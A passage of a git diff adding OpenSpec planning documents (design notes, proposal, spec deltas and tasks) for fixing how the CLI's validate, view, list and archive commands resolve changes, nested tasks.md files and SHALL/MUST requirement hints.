deep only | `src/core/validation/validator.ts:115-138,265` | +| #1202 | `view` shows a tasked change as `Draft`; `archive` archives an unfinished change | `status` tests the tasks **artifact's `generates` glob** via `resolveArtifactOutputs` | `getTaskProgressForChange` hardcodes `changes//tasks.md` | `src/utils/task-progress.ts:28`; callers `src/core/view.ts:100`, `src/core/list.ts:112`, `src/core/archive.ts:342,540`; 2nd copy `src/commands/change.ts:111,164`; helper `src/core/artifact-graph/outputs.ts:17`; tracks type `src/core/artifact-graph/types.ts:18` | +| #1156 | Main-spec SHALL-in-header-only → generic error; delta → targeted hint | Delta validator runs `containsShallOrMust` + `buildMissingShallOrMustMessage` | Main-spec requirement validation falls through to generic `REQUIREMENT_NO_SHALL`; header is discarded before validation | `src/core/validation/validator.ts:167-189,443-463`; `src/core/schemas/base.schema.ts:11-14`; `src/core/parsers/markdown-parser.ts:220-226` | + +## Empirical evidence (built pre-fix CLI, fresh `init`'d projects) + +- **#1182:** `new change foo` writes `changes/foo/.openspec.yaml` only. `status --change foo` resolves (exit 0); `validate foo` → `Unknown item 'foo'` (exit 1); `validate --all` with foo as the sole change → `No items found to validate` (**exit 0**, a silent CI failure). Writing `proposal.md` flips `validate` to resolve — confirming the exact lever. A valid two-level `specs///spec.md` change → `No deltas found` (#1182b); one-level control validates clean. +- **#1202:** project-local schema with tasks `generates: "**/tasks.md"`; change `foo` = `backend/tasks.md` (2/2) + `frontend/tasks.md` (1/3) = 3/5, no top-level file. `status` → `4/4 artifacts complete, isComplete:true` (file existence, not checkboxes); `view` → **Draft**; `list` → `No tasks`; `list --json` → `totalTasks:0`. `archive foo --skip-specs --no-validate --yes` **moved the unfinished change into `changes/archive/`** — the incomplete-task gate was wholly bypassed. Baselines (default schema top-level `tasks.md`; bare project) classify correctly and are preserved by the fix. +- **#1156:** main spec, SHALL in header only → generic `Requirement must contain SHALL or MUST keyword`. The same mistake as an ADDED/MODIFIED delta → the targeted hint. RENAMED delta → no error (no body). No-keyword-anywhere main spec → generic error. Lowercase `shall` → error on both paths. **Header-only with no body line at all → reported VALID today** (parser keeps `text` = header, which contains SHALL). + +## Decisions + +### Decision 1 — Converge, don't re-implement + +Each fix points the divergent path at the *existing* canonical implementation rather than writing a second copy. A second copy is what created every one of these bugs. + +### Decision 2 — #1182: the lever is the membership gate, not "workspace homes" + +The original framing (validate doesn't understand workspace planning homes) is wrong at HEAD: planning homes are repo-only (`PlanningHomeKind = 'repo'`), the workspace feature is now **stores**, and `validate` already accepts `--store` and resolves the store root through the same `resolveRootForCommand` as `status`. The actual, reproducible divergence is that `validate` gates change membership on `proposal.md` (`getActiveChangeIds`) at **three** sites — targeted (validate.ts:120), bulk (validate.ts:238), and the interactive "pick one" selector (validate.ts:97) — while `status`/`instructions` gate on directory existence (`validateChangeExists`). Since `createChange` writes `.openspec.yaml` but not `proposal.md`, any scaffolded or still-authoring change resolves everywhere except `validate`. + +The fix: `validate` resolves a change by directory existence within the already-resolved root, at all three sites. This is store-correct for free (the store root is resolved identically by all three commands), so the reported store/workspace symptom is covered transitively, and no store-specific scenario is needed. `getChangeDir`/`resolveCurrentPlanningHomeSync` are **not** the lever (the former is a pure path join with no membership decision). + +Two boundaries confirmed empirically and held out of scope: (a) the **spec** side is correct — `getSpecIds` requires `spec.md`, and `spec show` agrees, so a spec dir without `spec.md` is correctly "not found"; no spec-side scenario is added. (b) The deprecated noun-form `openspec change validate ` already resolves a passed name by directory existence (change.ts:215) but is cwd-based (cannot reach a `--store` root) and its JSON mode does not set a non-zero exit on invalid — pre-existing noun-form defects, explicitly not addressed here. + +### Decision 3 — #1182: nested delta discovery is in scope + +Resolution success is not validation success. `validateChangeDeltaSpecs` discovers deltas exactly one directory deep (`changeDir/specs//spec.md`), but the multi-area layout that motivates stores/workspaces is `changeDir/specs///spec.md`. Without recursing, a resolved multi-area change reports "No delta sections found" (reproduced). So delta discovery is extended to the nested layout in this change; otherwise the #1182 fix does not actually let the reported change validate. + +### Decision 4 — #1202: resolve via the tracked artifact's `generates` glob, and parity is resolution-only + +The fix lands in the shared helper `getTaskProgressForChange`, correcting all four call sites at once; the spec pins two consumers explicitly (`cli-view` — the filed Draft symptom; `cli-archive` — the incomplete-task gate, a data-safety regression that lets an unfinished change archive). `openspec list` is corrected by the same helper; the independent second copy in `openspec change list` (`change.ts:111,164`, its own `countTasks`) is folded onto the shared helper by a task — not left as an orphan. + +Two corrections to an earlier draft, both load-bearing: + +- **`apply.tracks` is a filename that *selects* the artifact; it is not the glob.** `apply.tracks` is typed `string | null` and is consumed elsewhere as a literal path (`path.join(changeDir, tracks)` + `existsSync`), so `apply.tracks: "**/tasks.md"` cannot match nested files. The glob `status` actually uses is the tracked artifact's **`generates`**, resolved by `resolveArtifactOutputs(changeDir, artifact.generates)`. So the fix identifies the tracked-tasks artifact (the artifact whose `generates` equals `apply.tracks`, falling back to artifact id `tasks` when no `apply` block is present), then counts checkboxes across `resolveArtifactOutputs(changeDir, thatArtifact.generates)`. `resolveArtifactOutputs` roots `fast-glob` at the change directory (so a sibling `changes/archive/` or another change's `tasks.md` cannot match) and de-dups via a `Set` (so no double counting). +- **`status` checks file *existence*, not checkbox completion.** Empirically `status` calls a 3/5 change `4/4 complete, isComplete:true`. So the parity established here is **resolution-mechanism parity** (`view`/`archive` resolve the same set of files `status` resolves), not count parity — `view`/`archive` additionally count checkboxes. Any "view/archive task counts equal status" claim is false and is removed from the spec. + +The signature gains `projectRoot` (needed to resolve project-local schemas via `resolveSchema`); all four call sites plus the two `change.ts` sites can derive it. `resolveSchema` **throws** on an unresolvable/misnamed schema, whereas the current helper never throws — so the helper MUST catch and fall back to single-file `tasks.md`, or `view`/`list`/`archive` would crash on a project whose config names a deleted schema. This fallback is specified and tested. + +### Decision 5 — #1156: recover the header, remove the refine, pin an exact (not byte-identical) message + +The targeted delta hint works because the delta parser keeps the requirement header (`RequirementBlock.name`) separate from the body. The **main-spec parser overwrites the header with the first body line** (`markdown-parser.ts:220-226`) before validation, so the Zod refine that emits `REQUIREMENT_NO_SHALL` never sees the header and cannot detect "keyword in header only." + +The fix: + +1. **Recover the header.** Reuse the header-preserving parser `src/core/parsers/requirement-blocks.ts` (`extractRequirementsSection`, which yields header+body pairs and is the same source the delta path trusts) and run the existing `containsShallOrMust` + `buildMissingShallOrMustMessage` detection in the imperative main-spec rules (`applySpecRules`, validator.ts:290-329), which already loops requirements and has the raw content. +2. **Remove the Zod refine, don't merely relax it.** Change deltas do **not** use the refine — they validate imperatively in `validateChangeDeltaSpecs` (proven: a no-keyword delta emits the imperative `must contain SHALL or MUST` base string, not the Zod `REQUIREMENT_NO_SHALL` string). So the refine is exercised only on the main-spec path. Once the imperative rule in `applySpecRules` owns **both** sub-cases — keyword-in-header-only → targeted hint, and keyword-nowhere → generic message — the `.refine` on `RequirementSchema` (base.schema.ts:11-14) is **removed entirely**. Keeping a conditional refine "for the no-keyword case only" risks double-emission on the header-only case, which the "exactly one issue" scenario forbids. +3. **Message.** The actionable sentence is byte-identical to the delta path; the prefix differs (main specs have no `ADDED`/`MODIFIED`). The main-spec message is: `Requirement "" must contain SHALL or MUST in the requirement body, not only in the header. Move the SHALL/MUST statement to the line immediately after the "### Requirement: ..." header.` Generalize `buildMissingShallOrMustMessage` to accept the prefix so the actionable sentence lives in one place and cannot drift between paths. Lowercase is rejected via the shared `\b(SHALL|MUST)\b` regex (converging the main-spec path off the case-sensitive Zod `.includes`). + +RENAMED requirements carry no body and are not subject to the hint (the `'ADDED' | 'MODIFIED'` action set is correct); a scenario pins this so it is not mistaken for a gap. + +### Decision 6 — Additive coverage, with one intended behavior change called out + +The fixes are additive coverage: changes that already have `proposal.md`, single-file `tasks.md` projects, projects with no resolvable schema, and delta-spec validation produce byte-identical output before and after. One main-spec case is an **intended** behavior change, not an unchanged case: a requirement with the keyword in the header and **no body line at all** is reported valid today and becomes a body-keyword hint under header recovery (the delta path already errors on this case). This is called out explicitly so it is not discovered as an accidental regression; every other previously-passing case is unchanged. + +### Decision 7 — Parity is the test strategy + +Tests assert *agreement*, not just fixed outputs in isolation: + +- a change that `status --change ` resolves (including a proposal-less and a store change) is also resolved by `validate `, included by `validate --all`, and listed by the interactive selector; a resolved-but-invalid change exits non-zero; +- for a schema whose tracked-tasks `generates` is `**/tasks.md`, `view`, `list`, and the `archive` gate resolve the **same set of files** `status` resolves (and additionally count checkboxes consistently with each other); +- a requirement with SHALL/MUST in the header only yields the same actionable sentence whether it appears in `openspec/specs/**` or a change delta, emitted exactly once. + +Parity assertions fail loudly if a future refactor re-forks any path. + +### Decision 8 — Scope boundary against sibling proposals + +- #1112 (delta header absent from base passing `validate`, aborting at `archive`) is an *authoring* false-positive resolved by the deterministic `sync --check` gate in the sync/unarchive proposal — out of scope here. +- Artifact *completeness* gaps (a half-written or skipped artifact reported as done, #1084/#1260) belong to the artifact-graph/update-workflow proposal — out of scope here. #1202 is narrower: *where* task counts are read from, not whether the tasks are complete. + +## Risks and mitigations + +- **Risk:** relaxing the change membership gate changes ambiguity behavior when a name exists as both a change directory and a spec. **Mitigation:** preserve the existing ambiguity/`--type` semantics; only swap the change-membership predicate (proposal.md → directory existence) at all three sites, keeping `getSpecIds` as the spec predicate. Covered by an ambiguity scenario. +- **Risk:** the task-progress signature change breaks the other call sites, or crashes on an unresolvable schema. **Mitigation:** update all six sites (four helper callers + two `change.ts` copies) in the same change; catch `resolveSchema` failure and fall back to single-file `tasks.md`; assert `view`/`archive` resolve the same files as `status`. +- **Risk:** the glob over-matches or the archive gate regresses. **Mitigation:** reuse `resolveArtifactOutputs` (rooted at the change dir, de-duped); add scope-containment and archive-gate scenarios. +- **Risk:** removing the Zod refine drops the no-keyword error on the main-spec path. **Mitigation:** the imperative `applySpecRules` rule must own the no-keyword case before the refine is removed; assert the no-keyword regression and single emission. Delta validation is untouched (it never used the refine). diff --git a/openspec/changes/fix-validate-view-resolution-parity/proposal.md b/openspec/changes/fix-validate-view-resolution-parity/proposal.md new file mode 100644 index 0000000000..d42af8dbb3 --- /dev/null +++ b/openspec/changes/fix-validate-view-resolution-parity/proposal.md @@ -0,0 +1,56 @@ +## Why + +Three commands silently give a wrong or incomplete answer about the spec source of truth, because sibling read/validate paths reimplement narrower logic than the canonical path each should share. + +- `openspec validate ` rejects a change as `Unknown item` whenever `proposal.md` is absent (a scaffolded or still-authoring change, in a repo or a store), though `status`/`instructions` resolve it by directory existence — so spec checks are skipped for the changes most likely to be malformed (#1182). +- `openspec view` labels a fully-tasked change `Draft` when its tasks live in nested/glob `tasks.md` files, contradicting `status`; the same blind spot lets `archive` silently archive an unfinished change (#1202). +- `openspec validate` gives the targeted "move SHALL/MUST onto the body line" hint for deltas, but only the generic message for the same mistake in a main spec (#1156). + +Each is deterministic and fixed by converging a divergent path onto the canonical one. + +## Background: one root cause, three commands + +OpenSpec sells one promise — the specs are the source of truth and the CLI tells you the truth about them. These three bugs break that promise the same way: a command that *reads* or *validates* state quietly forks its own resolution logic instead of reusing the canonical implementation a sibling command already gets right. The fork is invisible until the two paths disagree, and then the tool reports a confident falsehood (`Unknown item`, `Draft`, a clean archive of an unfinished change, a worse error message) with no signal that anything diverged. + +This proposal was hardened by tracing each path to source (anchors in `design.md`). Two framings changed during that review and are called out so reviewers can check them: + +- **#1182 is a membership-gate bug, not a "home" bug.** Planning homes are repo-only today (`PlanningHomeKind = 'repo'`); the "managed workspace planning home" from the 1.4.1 issue is the feature since renamed **stores**, and `validate` already accepts `--store`. The real divergence is narrower and reproducible at HEAD: `status`/`instructions` resolve a change by **directory existence** (`validateChangeExists`), while `validate` resolves it through `getActiveChangeIds`, which **requires `proposal.md`**. `createChange` does not write `proposal.md`, so a scaffolded change — including a store change still being authored — resolves everywhere except `validate`. Sharing the canonical resolution covers the reported store/workspace symptom transitively, because the store root is already resolved identically by all three commands. +- **#1202 is wider than `view`.** The buggy helper `getTaskProgressForChange` is consumed by `view`, `list`, and the `archive` incomplete-task gate. The `archive` case is a correctness/data-safety risk, not a cosmetic mislabel: under a glob-tasks schema it reads zero tasks, finds nothing incomplete, and archives a change whose work is not done. A second, independent hardcoded copy lives in `openspec change list`. + +## What Changes + +- **`validate` shares the canonical change-resolution rule (#1182).** `openspec validate ` resolves a change by directory existence — the same rule `status`/`instructions` use — instead of requiring `proposal.md`. This applies to targeted `validate `, bulk `validate --all`/`--changes`, **and** the interactive "pick one" selector, within both the repo root and a `--store`-selected root. Spec/change ambiguity handling and `--type` overrides are preserved. Delta discovery is extended to the nested `specs///spec.md` layout so a resolved multi-area change actually validates its deltas instead of reporting "no deltas found." +- **`view`/`archive`/`list` resolve tasks through the tracked-tasks artifact glob (#1202).** Task progress for a change is resolved through the tracked-tasks artifact's `generates` glob — the same file-resolution `status` uses — counting every matching `tasks.md` scoped to the change directory, with the single-file `tasks.md` and no-resolvable-schema cases preserved as today. (The tracked artifact is selected via `apply.tracks`, which is a filename, not a glob; the glob is that artifact's `generates`.) As a result `view`'s Draft/Active/Completed classification stops being blind to nested files, and `archive`'s incomplete-task gate no longer passes an unfinished glob-tasks change. The second hardcoded copy in `openspec change list` is folded onto the same shared resolution. Because `status` checks task-file *existence* (not checkboxes), the guarantee is that these commands resolve the *same files* `status` resolves — not that they reproduce a count `status` does not compute. +- **The SHALL/MUST body-keyword hint applies to main specs (#1156).** A main-spec requirement whose normative keyword sits only in the `### Requirement:` header receives the same targeted "move it to the body line" remediation as a change delta, instead of the generic message — emitted exactly once (no duplicate generic error), across every main-spec surface (`validate `, `--all`, JSON, `spec validate`, and rebuilt-spec validation). + +### What this deliberately does *not* change + +- The canonical paths (`status`, `instructions`, the delta-spec validator) are not changed in behavior — the divergent paths are moved onto them. +- No new command, flag, schema field, or output format. Existing JSON shapes are preserved; only the values they carry become correct. +- Resolution for changes that already have `proposal.md`, single-file `tasks.md` projects, projects with no resolvable schema, and delta-spec validation are byte-for-byte unchanged — these fixes only add coverage where a path was previously blind. +- It does not address the #1112 authoring false-positive (a delta MODIFIED/REMOVED header absent from the base spec passing `validate`, aborting at `archive`); that is handled by the deterministic `sync --check` gate in the separate sync/unarchive proposal. The overlap is intentionally avoided. +- It does not change artifact *completeness* semantics (whether a half-written artifact counts as done, #1084/#1260); #1202 here is strictly about *where* task counts are read from, not whether the tasks are complete. + +## Capabilities + +### Modified Capabilities + +- `cli-validate`: resolves a change by directory existence (matching `status`/`instructions`) for targeted, bulk, and interactive-selector validation in repo and store roots; discovers deltas under nested `specs/**` layouts; and emits the targeted SHALL/MUST body-keyword hint for main specs, once, across all surfaces. +- `cli-view`: resolves task progress through the tracked-tasks artifact's `generates` glob (the same file-resolution `status` uses), so Draft/Active/Completed classification stops being blind to nested `tasks.md` files. +- `cli-archive`: the incomplete-task gate reads task progress through the same tracked-tasks resolution, so a glob-tasks change with unfinished work cannot pass the gate. + +## Impact + +- **Affected specs:** `cli-validate` (2 added requirements), `cli-view` (1 added requirement), `cli-archive` (1 added requirement). +- **Affected code (implementation follow-up, not in this planning PR):** + - `src/commands/validate.ts` — replace the `getActiveChangeIds` membership gate with directory-existence resolution mirroring `validateChangeExists` (`src/commands/workflow/shared.ts:168-170`) at all three sites: targeted (line 120), bulk (line 238), interactive selector (line 97). Reconcile with `getSpecIds` for the change/spec ambiguity path (leave `getSpecIds` unchanged — it is correct). Sibling `src/commands/show.ts:81,115,121` shares the gate and should be folded in or explicitly scoped out; the deprecated noun-form `change validate` is out of scope. + - `src/core/validation/validator.ts` — extend delta discovery (`validateChangeDeltaSpecs`, lines 115-138) to recurse the nested `specs///spec.md` layout. + - `src/utils/task-progress.ts` — `getTaskProgressForChange` gains a `projectRoot` param, identifies the tracked-tasks artifact (artifact whose `generates` equals the schema `apply.tracks`, fallback id `tasks`), counts checkboxes across `resolveArtifactOutputs(changeDir, artifact.generates)` (`src/core/artifact-graph/outputs.ts:17`, de-duped, change-rooted). `apply.tracks` selects the artifact; the glob is its `generates`. Catch `resolveSchema` failure → fall back to single-file `tasks.md` (never throw). Update all four call sites (`src/core/view.ts:100`, `src/core/list.ts:112`, `src/core/archive.ts:342`, `:540`) for the new arg; fold the second copy in `src/commands/change.ts:111,164` onto the helper. + - `src/core/validation/validator.ts` + `src/core/parsers/requirement-blocks.ts` — recover the requirement header (lost at `markdown-parser.ts:220-226`) via `extractRequirementsSection` so the main-spec rule in `applySpecRules` can detect "keyword in header only" and emit the targeted hint via a prefix-generalized `buildMissingShallOrMustMessage` (lines 443-463); **remove** the Zod refine (`src/core/schemas/base.schema.ts:11-14`) once the imperative rule owns both the header-only and no-keyword cases (deltas validate imperatively and never used the refine, so removal cannot regress them). +- **Risk:** low-to-moderate. Each fix points a command at logic that already exists for the canonical path; the larger surface is the task-progress signature change (six sites incl. schema-failure fallback) and the validator header recovery. Regression risk is bounded by parity tests asserting `validate`/`view`/`archive`/the main-spec validator agree with their canonical counterparts, plus explicit no-regression scenarios for the unchanged cases. + +## Issues addressed + +- [#1182](https://github.com/Fission-AI/OpenSpec/issues/1182) — `openspec validate` cannot resolve a change that `status`/`instructions` resolve (reported for a managed workspace/store home; root cause is the `proposal.md` membership gate). +- [#1202](https://github.com/Fission-AI/OpenSpec/issues/1202) — `openspec view` does not detect nested/glob `tasks.md`, classifying complete changes as `Draft` (and the same helper silently weakens the `archive` incomplete-task gate). +- [#1156](https://github.com/Fission-AI/OpenSpec/issues/1156) — the 1.4.0 SHALL/MUST body-keyword hint applies to change deltas but not main specs. diff --git a/openspec/changes/fix-validate-view-resolution-parity/specs/cli-archive/spec.md b/openspec/changes/fix-validate-view-resolution-parity/specs/cli-archive/spec.md new file mode 100644 index 0000000000..f6bb55dfa2 --- /dev/null +++ b/openspec/changes/fix-validate-view-resolution-parity/specs/cli-archive/spec.md @@ -0,0 +1,32 @@ +## ADDED Requirements + +### Requirement: Archive incomplete-task gate SHALL use the tracked-tasks artifact glob + +`openspec archive`'s incomplete-task gate — the check that prevents archiving a change whose tasks are not all complete — SHALL read task progress through the change's tracked-tasks artifact glob, the same file-resolution `openspec status` and `openspec view` use, rather than a fixed `changes//tasks.md` path. The tracked-tasks artifact SHALL be identified as the artifact whose `generates` equals the schema's `apply.tracks` value, falling back to the artifact with id `tasks` when no `apply` block is present; checkbox counts SHALL be aggregated across every file matched by that artifact's `generates` glob, scoped to the change directory. When the schema cannot be resolved or no tracked-tasks artifact is found, the gate SHALL fall back to a single top-level `tasks.md` exactly as today and SHALL NOT crash. This closes the data-safety gap where a change whose tasks live in nested/glob `tasks.md` files is read as having zero tasks, no incomplete work, and is allowed to archive while unfinished. + +#### Scenario: Glob-tasks change with unfinished work cannot archive + +- **GIVEN** a schema whose tasks artifact `generates` is `**/tasks.md` +- **AND** a change with `backend/tasks.md` containing unchecked tasks and no top-level `tasks.md` +- **WHEN** running `openspec archive` on that change +- **THEN** the incomplete-task gate SHALL detect the unfinished tasks and block (or require explicit override of) the archive +- **AND** SHALL NOT treat the change as having zero tasks + +#### Scenario: Archive gate resolves the same tracked files as view + +- **GIVEN** any change with a tracked-tasks glob +- **WHEN** the `archive` incomplete-task gate and `openspec view` each compute task progress for that change +- **THEN** they SHALL resolve the same set of `tasks.md` files and count the same checkboxes + +#### Scenario: Unresolvable schema falls back without error + +- **GIVEN** a change whose configured schema cannot be resolved +- **WHEN** running `openspec archive` on that change +- **THEN** the incomplete-task gate SHALL fall back to a single top-level `tasks.md` +- **AND** SHALL NOT crash + +#### Scenario: Single top-level tasks file archiving is unchanged + +- **GIVEN** a change with a single top-level `changes//tasks.md`, or a project with no resolvable schema +- **WHEN** running `openspec archive` +- **THEN** the incomplete-task gate SHALL behave exactly as today diff --git a/openspec/changes/fix-validate-view-resolution-parity/specs/cli-validate/spec.md b/openspec/changes/fix-validate-view-resolution-parity/specs/cli-validate/spec.md new file mode 100644 index 0000000000..84c85fa6ef --- /dev/null +++ b/openspec/changes/fix-validate-view-resolution-parity/specs/cli-validate/spec.md @@ -0,0 +1,113 @@ +## ADDED Requirements + +### Requirement: Validate SHALL resolve changes by directory existence, matching status + +`openspec validate` SHALL resolve whether a named item is a change using the same rule `openspec status` and `openspec instructions` use — directory existence within the resolved root — rather than requiring a `proposal.md` to be present. This SHALL apply to targeted validation (`openspec validate `), bulk validation (`openspec validate --all` / `--changes`), and the interactive "pick one" selector shown when no item is given in a TTY — within both the repository root and a `--store`-selected root. A resolved change with a nested multi-area spec layout SHALL have its deltas discovered and validated. Spec/change ambiguity handling and `--type` overrides SHALL remain unchanged. The spec-resolution side (a spec is resolved by the presence of its `spec.md`) is correct today and SHALL be left unchanged. + +#### Scenario: Scaffolded change without proposal.md + +- **GIVEN** a change directory created by `openspec new change ` that has not yet had `proposal.md` written +- **WHEN** executing `openspec validate ` +- **THEN** validate resolves the change and validates it +- **AND** it SHALL NOT print `Unknown item ''` + +#### Scenario: Targeted-resolution parity with status + +- **GIVEN** any change that `openspec status --change ` resolves, including a change in a `--store`-selected root +- **WHEN** executing `openspec validate ` (passing the same `--store` when applicable) +- **THEN** validate SHALL resolve the same change that status resolved, and SHALL NOT report it as unknown + +#### Scenario: Bulk validation includes a sole proposal-less change + +- **GIVEN** a repository whose only active change lacks `proposal.md` and is listed by `openspec status` +- **WHEN** executing `openspec validate --all` (or `--changes`) +- **THEN** validate SHALL validate that change, and SHALL NOT print "No items found to validate" +- **AND** the exit status SHALL reflect the change's validity + +#### Scenario: Interactive selector lists proposal-less changes + +- **GIVEN** a TTY and a change directory without `proposal.md` that `openspec status` lists +- **WHEN** executing `openspec validate` with no item name +- **THEN** the interactive "pick one" selector SHALL include that change + +#### Scenario: Resolved-but-invalid change exits non-zero + +- **GIVEN** a change that resolves by directory existence but fails validation +- **WHEN** executing `openspec validate ` or `openspec validate --all` +- **THEN** validate SHALL exit with a non-zero status +- **AND** SHALL NOT exit 0 while reporting the change as having issues + +#### Scenario: Nested multi-area delta discovery + +- **GIVEN** a resolved change whose deltas live at `specs///spec.md` (nested deeper than one directory) +- **WHEN** validating that change +- **THEN** validate SHALL discover and validate those delta specs +- **AND** SHALL NOT report "No delta sections found" for a change that does contain deltas + +#### Scenario: Change/spec ambiguity is preserved + +- **GIVEN** a name that exists both as a change directory and as a spec +- **WHEN** executing `openspec validate ` +- **THEN** validate SHALL print the ambiguity error and respect `--type change` / `--type spec`, exactly as before + +#### Scenario: Changes with proposal.md are unaffected + +- **GIVEN** a change that already contains `proposal.md` +- **WHEN** validating it targeted or in bulk +- **THEN** resolution and validation behavior SHALL be byte-for-byte unchanged from today + +### Requirement: SHALL/MUST body-keyword hint SHALL apply to main specs + +When a requirement places the normative keyword (SHALL or MUST) only in its `### Requirement:` header and omits it from the requirement body line, `openspec validate` SHALL emit the same targeted remediation guidance for main specs under `openspec/specs/**` as it already does for change delta specs, instead of the generic "must contain SHALL or MUST" message. The targeted message SHALL be emitted exactly once for such a requirement, the generic `REQUIREMENT_NO_SHALL` message SHALL no longer be emitted on the main-spec path, and the behavior SHALL be uniform across every main-spec validation surface (`openspec validate `, `--all`, JSON output, `openspec spec validate`, and rebuilt-spec validation via `validateSpecContent`). The main-spec message's actionable sentence SHALL be byte-identical to the change-delta message; only the leading prefix differs (main specs have no `ADDED`/`MODIFIED` action). + +#### Scenario: Main spec with the keyword in the header only + +- **GIVEN** a main spec requirement whose header contains SHALL or MUST but whose body line omits it +- **WHEN** running `openspec validate` over that spec +- **THEN** the error message SHALL contain the actionable sentence: "must contain SHALL or MUST in the requirement body, not only in the header. Move the SHALL/MUST statement to the line immediately after the \"### Requirement: ...\" header." +- **AND** SHALL NOT be the generic "Requirement must contain SHALL or MUST keyword" message + +#### Scenario: Actionable-sentence parity with change deltas + +- **GIVEN** the identical header-only-keyword mistake authored once in a main spec and once in a change delta +- **WHEN** validating each +- **THEN** the actionable remediation sentence SHALL be byte-identical between the two (the change-delta `ADDED`/`MODIFIED` prefix is not required for the main-spec message) + +#### Scenario: Exactly one issue is emitted + +- **GIVEN** a main spec requirement with the keyword in the header only +- **WHEN** validating it +- **THEN** validate SHALL emit exactly one issue for the missing body keyword +- **AND** SHALL NOT emit both the generic message and the targeted message for the same requirement + +#### Scenario: Requirement missing the keyword entirely still errors + +- **GIVEN** a main spec requirement that contains no SHALL or MUST in either the header or the body +- **WHEN** running `openspec validate` over that spec +- **THEN** validate SHALL report that the requirement must contain SHALL or MUST, as it does today + +#### Scenario: Keyword present in the body is not flagged + +- **GIVEN** a main spec requirement whose body line contains SHALL or MUST (whether or not the header also does) +- **WHEN** running `openspec validate` over that spec +- **THEN** validate SHALL NOT raise a missing-keyword error for that requirement + +#### Scenario: Lowercase keyword does not satisfy the body requirement + +- **GIVEN** a main spec requirement whose only "shall"/"must" is lowercase +- **WHEN** running `openspec validate` over that spec +- **THEN** validate SHALL report a missing-keyword error, matching the change-delta behavior for the same lowercase mistake + +#### Scenario: Header keyword with no body line emits the hint + +- **GIVEN** a main spec requirement whose header contains SHALL or MUST and that has no body line before its first scenario +- **WHEN** running `openspec validate` over that spec +- **THEN** validate SHALL emit the body-keyword hint (the keyword is only in the header) +- **AND** this case, which is reported valid today, becomes a deliberate, additive validation improvement + +#### Scenario: Renamed requirements are not subject to the body-keyword hint + +- **GIVEN** a change delta `## RENAMED Requirements` whose TO header contains SHALL or MUST +- **WHEN** validating that change +- **THEN** validate SHALL NOT emit the body-keyword hint for the renamed pair +- **AND** RENAMED validation behavior SHALL be byte-for-byte unchanged diff --git a/openspec/changes/fix-validate-view-resolution-parity/specs/cli-view/spec.md b/openspec/changes/fix-validate-view-resolution-parity/specs/cli-view/spec.md new file mode 100644 index 0000000000..de664bf8b9 --- /dev/null +++ b/openspec/changes/fix-validate-view-resolution-parity/specs/cli-view/spec.md @@ -0,0 +1,58 @@ +## ADDED Requirements + +### Requirement: Task progress SHALL be resolved through the tracked-tasks artifact glob + +`openspec view` SHALL determine a change's task progress by resolving its tracked-tasks artifact and counting checkboxes across that artifact's output glob (`generates`) — the same file-resolution `openspec status` uses to detect the tasks artifact — rather than assuming a fixed `changes//tasks.md` path. The tracked-tasks artifact SHALL be identified as the artifact whose `generates` equals the schema's `apply.tracks` value, falling back to the artifact with id `tasks` when no `apply` block is present. (`apply.tracks` is a filename that selects the artifact; the glob is that artifact's `generates`.) Resolution SHALL be scoped to the change directory, SHALL aggregate completed and total checkbox counts across every matching file, and SHALL NOT double-count. When the schema cannot be resolved, no tracked-tasks artifact is found, or the glob matches no file, `view` SHALL fall back to counting a single top-level `tasks.md` exactly as today, and SHALL NOT raise an error. + +Note on scope: `openspec status` detects whether the tasks artifact *file exists*; it does not count checkboxes (a change whose nested `tasks.md` files exist is reported by `status` as having the tasks artifact complete even when boxes are unchecked). The parity established here is therefore **resolution-mechanism parity** — `view` resolves the same set of `tasks.md` files `status` resolves — and `view` additionally counts checkboxes within them. The fix removes `view`'s blindness to nested files; it does not make `view` agree with a task count `status` does not produce. + +#### Scenario: Nested tasks files under a glob schema + +- **GIVEN** a schema whose tasks artifact `generates` is `**/tasks.md` +- **AND** a change with `backend/tasks.md` and `frontend/tasks.md` and no top-level `tasks.md` +- **WHEN** running `openspec view` +- **THEN** the change SHALL show aggregated task progress summed across both files +- **AND** SHALL NOT be classified as a Draft change solely because no top-level `tasks.md` exists + +#### Scenario: Tracked-tasks files resolve the same as status + +- **GIVEN** a schema whose tasks artifact `generates` is `**/tasks.md` +- **WHEN** running `openspec view` and `openspec status --change ` +- **THEN** both SHALL resolve the same set of `tasks.md` files for the change — `status` to detect the tasks artifact, `view` to count checkboxes within them + +#### Scenario: Files exist but tasks unchecked are not Completed + +- **GIVEN** a glob-tasks change whose matched `tasks.md` files contain unchecked boxes +- **WHEN** running `openspec view` +- **THEN** the change SHALL be classified Active (not Completed), even though `status` reports the tasks artifact as present + +#### Scenario: Tracked-tasks artifact identified by apply.tracks, not a fixed id + +- **GIVEN** a custom schema whose tracked-tasks artifact is not named `tasks` but is selected by `apply.tracks` +- **WHEN** running `openspec view` +- **THEN** task progress SHALL be resolved from that artifact's `generates` glob + +#### Scenario: Resolution stays scoped to the change directory + +- **WHEN** resolving a change's `tasks.md` files +- **THEN** matching SHALL be rooted at `changes//` only +- **AND** SHALL NOT count `tasks.md` files belonging to another change or under `changes/archive/` + +#### Scenario: Unresolvable schema falls back without error + +- **GIVEN** a change whose configured schema cannot be resolved (for example, the config names a missing schema) +- **WHEN** running `openspec view` +- **THEN** task progress SHALL fall back to counting a single top-level `tasks.md` +- **AND** `view` SHALL NOT crash + +#### Scenario: Single top-level tasks file is unchanged + +- **GIVEN** a change with exactly one top-level `changes//tasks.md`, or a project with no resolvable schema +- **WHEN** running `openspec view` +- **THEN** task progress SHALL be counted from that single file exactly as before + +#### Scenario: A change with no tasks anywhere stays Draft + +- **GIVEN** a change with no `tasks.md` matching the tracked-tasks glob +- **WHEN** running `openspec view` +- **THEN** the change SHALL report zero tasks and be classified as Draft, as today diff --git a/openspec/changes/fix-validate-view-resolution-parity/tasks.md b/openspec/changes/fix-validate-view-resolution-parity/tasks.md new file mode 100644 index 0000000000..ff105ed4b1 --- /dev/null +++ b/openspec/changes/fix-validate-view-resolution-parity/tasks.md @@ -0,0 +1,46 @@ +# Tasks + +## 1. #1182 — validate resolves changes like status (membership gate) + +- [x] 1.1 Reproduce at HEAD: `openspec new change X` (creates dir + `.openspec.yaml`, no `proposal.md`); confirm `status --change X` resolves it (exit 0) but `validate X` prints `Unknown item` and `validate --all` (X alone) prints "No items found" and exits 0. +- [x] 1.2 In `src/commands/validate.ts`, replace the `getActiveChangeIds` membership gate for change resolution with directory-existence resolution mirroring `validateChangeExists` (`src/commands/workflow/shared.ts:168-170`); keep `getSpecIds` as the spec predicate. Apply at all THREE sites: targeted (line 120), bulk `--all`/`--changes` (line 238), and the 